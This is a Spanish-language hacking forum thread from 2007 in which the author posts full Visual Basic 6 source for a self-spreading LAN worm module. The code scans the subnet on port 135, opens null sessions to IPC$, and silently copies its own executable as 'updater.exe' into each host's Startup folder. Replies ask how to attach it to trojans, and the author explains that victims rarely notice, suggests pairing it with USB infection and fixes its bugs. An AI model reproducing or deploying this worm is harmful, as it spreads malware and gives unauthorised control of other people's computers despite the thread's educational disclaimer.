NetBios infection Module 1.0
Alguien ha pedido como hacer que nuestra aplicación hecha en VB6 infecte todos los equipos de una LAN de forma automática? Bien, aquí tienes un sencillo módulo que permite hacer tal cosa.
Para ello me he aprovechado de las flaquezas del protocolo NetBios, así como el poder de las sesiones nulas al IPC$ para infectar una LAN.
Este código es algo peligroso y sólo lo publico como prueba de concepto, el fin de este código es puramente educativo y didáctico, cualquier otro fin que le podáis dar será calificado como ilegal y el autor no se responsabilizará de los efectos causado por él. Para probar esta código es necesario hacerlo bajo unas estrictas medidas de seguridad y bajo un entorno de prueba. Prohibido usarlo en redes de trabajo reales.
sin más que añadir... aquí lo tenéis.
'##############################################'
'# #'
'# NetBios LAN Infection Module - version 1.0 #'
'# #'
'# Made by ||MadAntrax|| #'
'# Date: 14/jul/07 #'
'# #'
'# Happy Coding... ;D #'
'##############################################'
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Dim WS As CSocketMaster
Sub Main()
Set WS = New CSocketMaster 'Modulo Winsock de CSocketMaster
Dim SelfIP As String 'Nuestra propia IP de la LAN
Dim SubNet As String 'Nuestra SubRed, ejemplo: 192.168.1.X
Dim SubNetArray As String 'Almacenamos los Hosts de la LAN que son vulnerables
Dim BufferIP() As String 'Almacenamos los octetos de nuestra IP
SelfIP = WS.LocalIP 'Obtenemos nuestra IP de la LAN
BufferIP = Split(SelfIP, ".") 'Partimos los octetos en un Array
If UBound(BufferIP) = 3 Then
SubNet = BufferIP(0) & "." & BufferIP(1) & "." & BufferIP(2) 'Obtenemos nuestra SubRed: 192.168.1.X
SubNetArray = GetAliveHosts(SubNet, BufferIP(3)) 'Obtenemos los Hosts que son vulnerables a NetBios
If SubNetArray <> "0" Then 'Comprobamos que hay Hosts vulnerables en nuestra LAN
Call GetPrivilegesOnSubNet(SubNet, SubNetArray) 'Obtenemos privilegios sobre los Hosts vulnerables gracias a IPC$
DoEvents 'Esperamos...
Call InfectSubnet(SubNet, SubNetArray) 'Infectamos los Hosts vulnerables gracias a C$
End If
End If
End Sub 'Fin del Código
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'Función que almacena en un array el último octeto de la dirección IP de
'todos los Hosts de la LAN que son vulnerables a NetBios
'
'Ejemplo:
'Supongamos que encontramos estos Hosts
' 192.168.1.5
' 192.168.1.10
' 192.168.1.128
' 192.168.1.200
'
'Esta función devuelve: "5,10,128,200"
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Function GetAliveHosts(ByVal SubNet As String, ByVal MyHost As String) As String
Dim AliveHosts As String 'Array donde se almacenan los Hosts vulnerables
AliveHosts = ""
WS.Protocol = sckTCPProtocol 'Establecemos el protocolo en TCP
For i = 1 To 254 'Bucle desde X.X.X.1 hasta X.X.X.254
If WS.State <> sckClosed Then WS.CloseSck 'Si el Socket no está cerrado, lo cerramos para evitar errores.
DoEvents 'Esperamos...
WS.Connect SubNet & "." & i, 135 'Nos conectamos a todos los Hosts de la LAN al puerto 135 TCP (NetBios)
Sleep 500 'Esperamos 1/2 Segundo...
If WS.State = sckConnected And i <> MyHost Then 'Si el Hosts es vulnerable y el Host no es MiPC entonces...
AliveHosts = AliveHosts & i & "," ' añadimos el octeto del Host en el Array
End If 'End If
Next i
If Len(AliveHosts) > 0 Then 'Si hemos encontrado al menos 1 Host vulnerable...
AliveHosts = Left(AliveHosts, Len(AliveHosts) - 1) ' quitamos el último caracter del Array (siempre es una ",") para evitar errores.
GetAliveHosts = AliveHosts ' devolvemos el Array como valor de retorno
Exit Function ' finalizamos esta función
End If 'End If
GetAliveHosts = "0" 'Si no hemos encontrado ningún Host vulnerable en la LAN, devolvemos "0"
End Function
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'Función que aprovecha el bug del IPC$ para establecer sesión nula (Null Session)
'en todos los Hosts de la LAN que son vulnerables a NetBios
'
'Ejemplo:
'Supongamos que encontramos estos Hosts
' 192.168.1.128
' 192.168.1.200
'
'Esta función ejecuta:
' net use \\192.168.1.128\ipc$ "" /user:""
' net use \\192.168.1.200\ipc$ "" /user:""
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Function GetPrivilegesOnSubNet(ByVal SubNet As String, ByVal SubNetArray As String)
Dim tmpArray() As String
Dim tmpIP As String
tmpArray = Split(SubNetArray, ",")
For i = 0 To UBound(tmpArray)
tmpIP = "\\" & SubNet & "." & tmpArray(i) & "\ipc$ "
Shell "net use " & tmpIP & Chr(34) & Chr(34) & " /user:" & Chr(34) & Chr(34), vbHide
Next i
'No es necesario comentar esta función, solo hace un bucle y ejecuta una shell
End Function
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'Función que copia nuestro ejecutable en la carpeta INICIO de todos los usuarios
'de los Hosts vulnerables a NetBios, para ello utiliza C$
'
'Ejemplo:
'Supongamos que encontramos estos Hosts
' 192.168.1.128
' 192.168.1.200
'
'Esta función ejecuta:
' copy "MiRuta\MiEjecutable.exe" "\\192.168.0.128\c$\Documents and Settings\All Users\Menú Inicio\Programas\Inicio\update.exe"
' copy "MiRuta\MiEjecutable.exe" "\\192.168.0.200\c$\Documents and Settings\All Users\Menú Inicio\Programas\Inicio\update.exe"
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Function InfectSubnet(ByVal SubNet As String, ByVal SubNetArray As String)
Dim tmpArray() As String
Dim tmpIP As String
tmpArray = Split(SubNetArray, ",")
For i = 0 To UBound(tmpArray)
tmpIP = "\\" & SubNet & "." & tmpArray(i) & "\c$\Documents and Settings\All Users\Menú Inicio\Programas\Inicio"
Shell "copy " & Chr(34) & App.Path & "\" & App.EXEName & ".exe" & Chr(34) & " " & Chr(34) & tmpIP & "\updater.exe" & Chr(34), vbHide
Next i
'No es necesario comentar esta función, solo hace un bucle y ejecuta una shell
End Function
Que hace este código?
Primero obtiene nuestra IP y toma por defecto que se trata de una red de clase C (255.255.255.0), a partir de aquí crea un bucle desde:
X.X.X.1 hasta X.X.X.254 he intenta conectar al puerto 135 de TCP (NetBios), si lo consigue entonces establece una sesión nula (net use X.X.X.128ipc$ "" /user:"") para luego copiarse en la carpeta inicio de todos los usuarios bajo la unidad C$
Dudas, comentarios, sugerencias, criticas.. aquí porfavor :P
Simplemente , Cojonudo !!!
(quizas es tu record en hacer un script/pgr, tardaste poquisimo....)
SAludos
jeje q bueno, pero alguien sabe si funciona en todos los casos, es decir funciona en xp service pack 2 con actualizaciones?
Cita de: Hexas en 14 Julio 2007, 21:14 PM
jeje q bueno, pero alguien sabe si funciona en todos los casos, es decir funciona en xp service pack 2 con actualizaciones?
Sí, funciona en la mayoría de casos. El sistema operativo en este caso tiene que ser un
Windows 2000 (cualquier ServicePack),
Windows XP (con cualquier Service Pack). El único requisito es que los equipos estén en un
Dominio o
Grupo de Trabajo y tengan el puerto
135 habilitado.
He usado rutas como "
Menú InicioProgramasInicio", eso significa que sólo funcionaría en equipos con el Windows en
Castellano.
Salvando esos inconvenientes, este código es bastante efectivo y combinándolo con algún otro tipo de infección (por ejemplo infección de
pendrives o similares) consigues expandir tu ejecutable de forma rápida y efectiva
Gracias ||MadAntrax|| el code es muy bueno.
Saludos...by...Dominicano
haber me van a disculpar por preguntar esto pero es que casi no estoy familiarizado con esto de conexiones
mi duda es que si este modulo lo tengo que llamar desde el formulario,
me explico yo tengo mi troyano bueno
le puedo anexar este modulo para hacer que se expanda por toda la red lan?
que efectos negativos le trairia al pc en el que se ejecute.
Cita de: HALC12 en 14 Julio 2007, 21:25 PM
haber me van a disculpar por preguntar esto pero es que casi no estoy familiarizado con esto de conexiones
mi duda es que si este modulo lo tengo que llamar desde el formulario,
me explico yo tengo mi troyano bueno
le puedo anexar este modulo para hacer que se expanda por toda la red lan?
que efectos negativos le trairia al pc en el que se ejecute.
Para llamarlo desde tu proyecto te recomiendo que agregues el Modulo principal "Module1.bas" y los de CSocketMaster (si no lo tienes ya) a tu proyecto.
Después haces:
Sub Form1_Load()
Call Module1.Main()
End Sub
El Módulo puede demorarse un poco si encuentra muchos Hosts vulnerables, en los entornos de prueba donde lo he testeado ha tardado algo menos de 1 minuto en infectar 20 equipos.
En el PC donde lo ejecutes es posible que se le disparen muchos procesos NET.EXE que se pueden visualizar desde el TaskManager, recomiendo deshabilitarlo antes por politicas.
Saludos!!
pero en los pc que se copia no da aviso de nada osea si alguien esta trabajando en ese pc se daria de cuenta o no espero que me netiendas
el troyano es para poderme conectar a los pc de toda la red
Cita de: HALC12 en 14 Julio 2007, 21:55 PM
pero en los pc que se copia no da aviso de nada osea si alguien esta trabajando en ese pc se daria de cuenta o no espero que me netiendas
el troyano es para poderme conectar a los pc de toda la red
No, el equipo "infectado" no se dará cuenta. Si tiene un firewall monitoreando el puerto 135 es posible que le aparezca un popup bloqueando la conexión y mostrando la dirección IP del emisor del paquete, pero eso ocurre pocas veces, nade se alarma por una alerta en el puerto 135 a no ser que sea un usuario "paranoico de su seguridad".
Citarpero eso ocurre pocas veces, nade se alarma por una alerta en el puerto 135 a no ser que sea un usuario "paranoico de su seguridad".
:P yo así tengo configurado mi Zone alarm y verifico los 4 puertos mas esenciales que son puerto
135 de TCP/UDP y los puertos
139,
445 y
593 de TCP para llamadas a procedimiento remoto RPC DCOM.
Felicidades nuevamente, miraré muy minusiosamente tu código porque hay mucho que rescatar.
muy weno mad, eres tremendo. e hestado probandolo con mis 3 pcs, pero deben estar parcheados por que no crea el upodater.exe
por cierto, me puedes explicar a si por encima como usar los modulos socketmaster?
es que me gustaria incluirlos en mi troya, pero no se como funcionan.
gracias mad y otra vez, un EXCELENTE trabajo
Cita de: wACtOr en 14 Julio 2007, 23:14 PM
muy weno mad, eres tremendo. e hestado probandolo con mis 3 pcs, pero deben estar parcheados por que no crea el upodater.exe
por cierto, me puedes explicar a si por encima como usar los modulos socketmaster?
es que me gustaria incluirlos en mi troya, pero no se como funcionan.
gracias mad y otra vez, un EXCELENTE trabajo
Tienes un grupo de trabajo creado con tus 3 PC''s?
Tienes firewall habilitado en alguno de tus PC''s
Están los 3 equipos dentro de la misma subred?
Tienes habilitado el servicio de Compartir archivos e impresoras en los 3 PC''s?
Lo de CSocketMaster es fácil, si te lo bajas de www.pscode.com trae un TXT explicándolo.
Saludos!!
Clap clap clap excelente Mad, esta vez te has salido ;)
CitarTienes un grupo de trabajo creado con tus 3 PC''''s?
Tienes firewall habilitado en alguno de tus PC''''s
Están los 3 equipos dentro de la misma subred?
Tienes habilitado el servicio de Compartir archivos e impresoras en los 3 PC''''s?
Si a todo, como en windows xDD
si tengo todo ello hecho. lo de la subred es el mismo rango de ip no? me explico un poco : una subred seria por ejemplo 192.168.1.12, 192.168.1.13, etc.
si por ejemplo tuviera 192.168.0.12 y 192.168.1.13 no seria una subred. es asi??
Gracias.
PD aora me bajo de pscode a ver si saco algo en claro
Perfecto!!! Sos un idolo con VB6, ojala que sigas asi (y que mejores :xD)
Sancho.Mazorka :¬¬
Esto me va a venir de perlas :P.
Gran aporte MadAntrax :o
Esta vez te has lucio ;D, na enserio esta muy bien ese codigo... tanto estudiar en clase de redes sobre subneting y de IP,s... y ahora ya se como puedo sacar buen provecho a todo eso ;D la verdad es k no se me habia ocurrio xDD
yo probe esto en una computadora conectada a otra en red lan, le probe con varias funciones de downloader haber si funka y nada no funka no se movio ni un pelito la otra pc, siempre chekeaba y nada q aparece el uptader.exe en ningun lado supongo q aparece en una carpeta de esas raras con %..., no funciono nada, a lo mejor era el firewall q se reia de mi :xD, q va.. no era el firewall xq lo desactive tambien hasta el antivirus y no funka, y eso de tener activado compartir impresoras ps si esta xq sencillamente mandas a imprimir algo desde esa pc y lo imprime en la pc (la otra) sera q sta mal el codigo¿ o ya hay parche¿ intentare de nuevo..
Cita de: Hexas en 18 Julio 2007, 05:36 AM
yo probe esto en una computadora conectada a otra en red lan, le probe con varias funciones de downloader haber si funka y nada no funka no se movio ni un pelito la otra pc, siempre chekeaba y nada q aparece el uptader.exe en ningun lado supongo q aparece en una carpeta de esas raras con %..., no funciono nada, a lo mejor era el firewall q se reia de mi :xD, q va.. no era el firewall xq lo desactive tambien hasta el antivirus y no funka, y eso de tener activado compartir impresoras ps si esta xq sencillamente mandas a imprimir algo desde esa pc y lo imprime en la pc (la otra) sera q sta mal el codigo¿ o ya hay parche¿ intentare de nuevo..
Uaaaa, ya sé porqué no te funciona. (Ha sido un fallo mio).
For i = 1 To 254 'Bucle desde X.X.X.1 hasta X.X.X.254
If WS.State <> sckClosed Then WS.CloseSck 'Si el Socket no está cerrado, lo cerramos para evitar errores.
DoEvents 'Esperamos...
WS.Connect SubNet & "." & i, 135 'Nos conectamos a todos los Hosts de la LAN al puerto 135 TCP (NetBios)
[b]Sleep 500[/b] 'Esperamos 1/2 Segundo...
If WS.State = sckConnected And i <> MyHost Then 'Si el Hosts es vulnerable y el Host no es MiPC entonces...
AliveHosts = AliveHosts & i & "," ' añadimos el octeto del Host en el Array
End If 'End If
Next i
Es por culpa del Sleep, esa función "duerme" todas las acciones del VB, incluido el IF que hay debajo, por eso en algunos equipos el scanning no funcionara del todo bien. Luego mejoro eso.
Otro error...
tmpIP = "\\" & SubNet & "." & tmpArray(i) & "\c$\Documents and Settings\All Users\Menú Inicio\Programas\Inicio"
Se copia en el perfil
All Users, ese perfil está como solo lectura para todos los usuarios y escritura para los Administradores. Si el equipo desde donde lanzas el virus no es administrador de los otros equipos no logrará copiarse. En mi caso utilizo un dominio y lo lancé bajo los credenciales de
Administrador del Dominio, por eso a mi me ha funcionado y a ti no. Lo he probado en un grupo de trabajo normal y no funciona xD
Este fin de semana me pongo y lo arreglo, ok? Lo siento y saludos!!
alguien a hecho algo ? nose algo para ver si funka o mandrax o alguien sabe donde esta el fallo¿
Esta muyyyy bien... Espero que MadAntrax lo solucione rapido para poder usarlos todoss...
Por supuesto Muchas Gracias a él....
Mad por aqui... Intenta arreglar ese code que prometiste :P :P :P :P :xD :xD :xD :xD :xD
Hace falta jaja Por favor...
Gracias de antemano se que lo lograras ;)
-Freeze-:
Mira aki http://foro.elhacker.net/index.php/topic,174740.msg828987.html#msg828987
Ok,,... Gracias...
Por fin le dieron resultado a este proyecto..
Saludos..
Ha alguo le ha funcionado? creo que esta parchaeado por xp ya, si alguno a logrado hacerlo funcionar nos serviria de ayuda que lo dijera gracias
.